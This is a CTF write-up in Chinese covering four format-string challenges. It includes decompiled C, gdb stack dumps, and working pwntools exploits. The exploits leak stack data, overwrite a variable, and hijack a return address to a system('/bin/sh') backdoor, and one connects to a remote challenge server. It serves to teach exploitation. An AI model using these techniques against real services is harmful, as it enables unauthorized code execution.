# Format 1~4 writing wp
基本上简单的一般的格式化字符串题目,包括几个类型,栈数据泄露、栈上数据覆盖、任意地址读写、非栈上的格式化字符串攻击。本次的 4 个题目位包括非栈上格式化字符串的利用。
:::warn
格式化字符串,常用的 %?c,%?x,%?s,%?hn,%?lln 等基础类型
其中 % s 需要目标位置是一个字符串的指针,字符串的地址,% p 是常用的直接泄露目标偏移位置上,栈储存的数据,%?$n, 会像目标地址写入已经输出字符的个数
:::
# format1
基本技能:格式化字符串泄露栈上数据
int __cdecl main(int argc, const char **argv, const char **envp) | |
{ | |
unsigned int v3; // eax | |
int v5; // [rsp+8h] [rbp-38h] BYREF | |
int v6; // [rsp+Ch] [rbp-34h] | |
char buf[40]; // [rsp+10h] [rbp-30h] BYREF | |
unsigned __int64 v8; // [rsp+38h] [rbp-8h] | |
v8 = __readfsqword(0x28u); | |
v6 = 0; | |
v5 = 0; | |
ini(argc, argv, envp); | |
banner(); | |
puts("Format String 1/4"); | |
puts("here,you must guess the random num"); | |
v3 = time(0LL); | |
srand(v3); | |
while ( 1 ) | |
{ | |
v6 = rand(); | |
puts("leave something....."); | |
read(0, buf, 0x20uLL); | |
printf(buf); | |
__isoc99_scanf("%d", &v5); | |
if ( v6 == v5 ) | |
break; | |
puts("try again"); | |
} | |
puts("You win!"); | |
system("/bin/sh"); | |
return 0; | |
} |
v6 是会随即生成的 int 类型的数字,并且储存在栈上,printf 存在漏洞,buf 在栈上,直接泄露 v6 数据。
动态调试,查看偏移量
由上图,fmtarg 直接解析出 v6 的偏移量是 %7$p,可以直接用这个来泄露,但是 v6 是 int 的数据类型,是在地址的高 4 字节,所以,泄露出来后,将数据转化下,取高 4 字节
# format2
第一个题目是考察泄露,这一题是考察覆盖栈上的数据,我们先猜,输入数字后,才有格式化字符串的漏洞。
int __cdecl main(int argc, const char **argv, const char **envp) | |
{ | |
unsigned int v3; // eax | |
int v5; // [rsp+Ch] [rbp-44h] BYREF | |
__int64 v6; // [rsp+10h] [rbp-40h] BYREF | |
int *v7; // [rsp+18h] [rbp-38h] | |
char buf[40]; // [rsp+20h] [rbp-30h] BYREF | |
unsigned __int64 v9; // [rsp+48h] [rbp-8h] | |
v9 = __readfsqword(0x28u); | |
v5 = 0; | |
v7 = &v5; | |
v6 = 0LL; | |
ini(argc, argv, envp); | |
banner(); | |
puts("Format String 2/4"); | |
puts("here,you must guess the random num"); | |
v3 = time(0LL); | |
srand(v3); | |
while ( 1 ) | |
{ | |
*v7 = rand(); | |
puts("guess..."); | |
__isoc99_scanf("%d", &v6); | |
puts("leave something....."); | |
read(0, buf, 0x20uLL); | |
printf(buf); | |
if ( *v7 == v6 ) | |
break; | |
puts("try again"); | |
} | |
puts("You win!"); | |
system("/bin/sh"); | |
return 0; | |
} |
并且 v7 是一个指针,指向的内容是随机数字
依旧是 gdb 动态调试分析下栈环境
%12c%9n 将已经输出的字符数写入目标位置,比如,上图,%9$n 对应的栈空间是 0x7fffffffe248 ,这个地址里面是指针 0x7fffffffe23c,所以这个格式化字符串会向 0x7fffffffe23c 写入数字 12,n 对应的是 4 字节的地址空间
# format3
任意地址写,
int __cdecl main(int argc, const char **argv, const char **envp) | |
{ | |
char buf[40]; // [rsp+0h] [rbp-30h] BYREF | |
unsigned __int64 v5; // [rsp+28h] [rbp-8h] | |
v5 = __readfsqword(0x28u); | |
ini(argc, argv, envp); | |
banner(); | |
puts("Format String 3/4"); | |
puts("here,you must change something..."); | |
puts("leave something....."); | |
read(0, buf, 0x20uLL); | |
printf(buf); | |
if ( key == 2023 ) | |
{ | |
puts("You win!"); | |
system("/bin/sh"); | |
} | |
return 0; | |
} |
程序没有开启 pie,保护,key 变量在 bss 段上,我们把 key 变量的地址放到栈上,利用 %2023c% XX$n 向地址写入 2023。同时注意要进行地址对齐,
执行完 printf 后
# exp
from pwn import * | |
r=process('./format3') | |
#r=remote('dreamcat.online',8011) | |
gdb.attach(r,"b *0x400803") | |
addr = 0x60208C | |
pad = b"%2023c%8$n"+b"\x00"*6+p64(addr) | |
r.sendlineafter("leave something",pad) | |
r.interactive() |
# format4
最后就是一个比较综合的运用的考察了
# 检查下环境
$ checksec --file=format4 | |
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE | |
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 76) Symbols No 0 2 format4 |
程序开启了 pie 保护,
# 静态分析
unsigned __int64 vuln() | |
{ | |
char v1; // [rsp+Fh] [rbp-31h] BYREF | |
char buf[40]; // [rsp+10h] [rbp-30h] BYREF | |
unsigned __int64 v3; // [rsp+38h] [rbp-8h] | |
v3 = __readfsqword(0x28u); | |
do | |
{ | |
puts("leave something....."); | |
read(0, buf, 0x20uLL); | |
printf(buf); | |
puts("anything else to say?"); | |
__isoc99_scanf("%2s", &v1); | |
} | |
while ( v1 != 110 && v1 != 78 ); | |
puts("bye~"); | |
return __readfsqword(0x28u) ^ v3; | |
} |
同时程序存在后门函数
int backdoor() | |
{ | |
return system("/bin/sh"); | |
} |
但是由于开启了 pie 保护,我们不知道函数的真实地址,但是 vuln 函数中存在 printf 格式化字符串漏洞的循环利用。
程序开启 PIE 保护后,运行时,所有的函数只有低 12 位是我们可以根据静态反汇编看到的。
这里的思想,利用格式化化字符串漏洞,修改 vuln 函数的返回地址,改为后门函数地址。vuln 函数的正常返回地址是 main 函数,是在程序基址段的,跟后门函数一起。因为低 12 位有效,所以我们最少需要修改两字节,使用 % XX$hn,但是还有 4 位数据不确定,所以我们需要泄露出程序基地址,同时站上没有存在指向 vuln 函数返回地址储存位置的数据,我们需要在栈上写入返回地址的栈地址 0x7fffffffe278 ,这就还需要泄露出栈地址。
随后,我们向栈上格式化字符串的同时,写入返回地址所在位置
pwndbg> stack 14 | |
00:0000│ rsp 0x7ffc95621c58 —▸ 0x55ae7b7f29b2 (vuln+79) ◂— lea rdi, [rip + 0x8c4] | |
01:0008│ 0x7ffc95621c60 ◂— 0x11 | |
02:0010│ 0x7ffc95621c68 ◂— 0x79007f6c07aec760 | |
03:0018│ rdi rsi 0x7ffc95621c70 ◂— 0x2563373735303125 ('%10577c%') | |
04:0020│ 0x7ffc95621c78 ◂— 0x6161616e68243031 ('10$hnaaa') | |
05:0028│ 0x7ffc95621c80 —▸ 0x7ffc95621ca8 —▸ 0x55ae7b7f2a39 (main+46) ◂— mov eax, 0 | |
06:0030│ 0x7ffc95621c88 ◂— 0xa /* '\n' */ | |
07:0038│ 0x7ffc95621c90 —▸ 0x7ffc95621cb0 —▸ 0x55ae7b7f2a40 (__libc_csu_init) ◂— push r15 | |
08:0040│ 0x7ffc95621c98 ◂— 0xe320110e9c2dcd00 | |
09:0048│ rbp 0x7ffc95621ca0 —▸ 0x7ffc95621cb0 —▸ 0x55ae7b7f2a40 (__libc_csu_init) ◂— push r15 | |
0a:0050│ 0x7ffc95621ca8 —▸ 0x55ae7b7f2a39 (main+46) ◂— mov eax, 0 | |
0b:0058│ 0x7ffc95621cb0 —▸ 0x55ae7b7f2a40 (__libc_csu_init) ◂— push r15 | |
0c:0060│ 0x7ffc95621cb8 —▸ 0x7f6c07721c87 (__libc_start_main+231) ◂— mov edi, eax | |
0d:0068│ 0x7ffc95621cc0 ◂— 0x2000000000 | |
pwndbg> |
执行后的效果
# exp
from pwn import * | |
#r=process('./format4') | |
r=remote("81.68.85.214",8012) | |
r.recvuntil("leave ") | |
#context.log_level = 'debug' | |
#gdb.attach(r,"brva 0x9ad") | |
#leak proc base | |
r.sendlineafter("something.....\n","%15$p") | |
proc_base = int(r.recv(14),16)-0xa39 | |
r.sendlineafter("anything else to say?\n","y") | |
#leak stack addr | |
r.sendlineafter("leave something.....\n","%14$p") | |
ret_addr = int(r.recv(14),16)-0x8 | |
info("[+]proc base"+hex(proc_base)) | |
info("[+]ret_addr "+hex(ret_addr)) | |
r.sendlineafter("anything else to say?\n","y") | |
#change the ret_address | |
door = proc_base+0x951 | |
pad = b"%"+str(door&0xffff).encode("utf-8")+b"c%10$hn" | |
pad =pad.ljust(0x10,b'a')+p64(ret_addr) | |
r.sendlineafter("leave something.....\n",pad) | |
r.sendlineafter("anything else to say?\n","n") | |
r.interactive() |
这里只介绍了几个基本用法,但是所有的类型,也都是基于这几个,比如任意地址写大数,字符串不在栈上如何利用,等等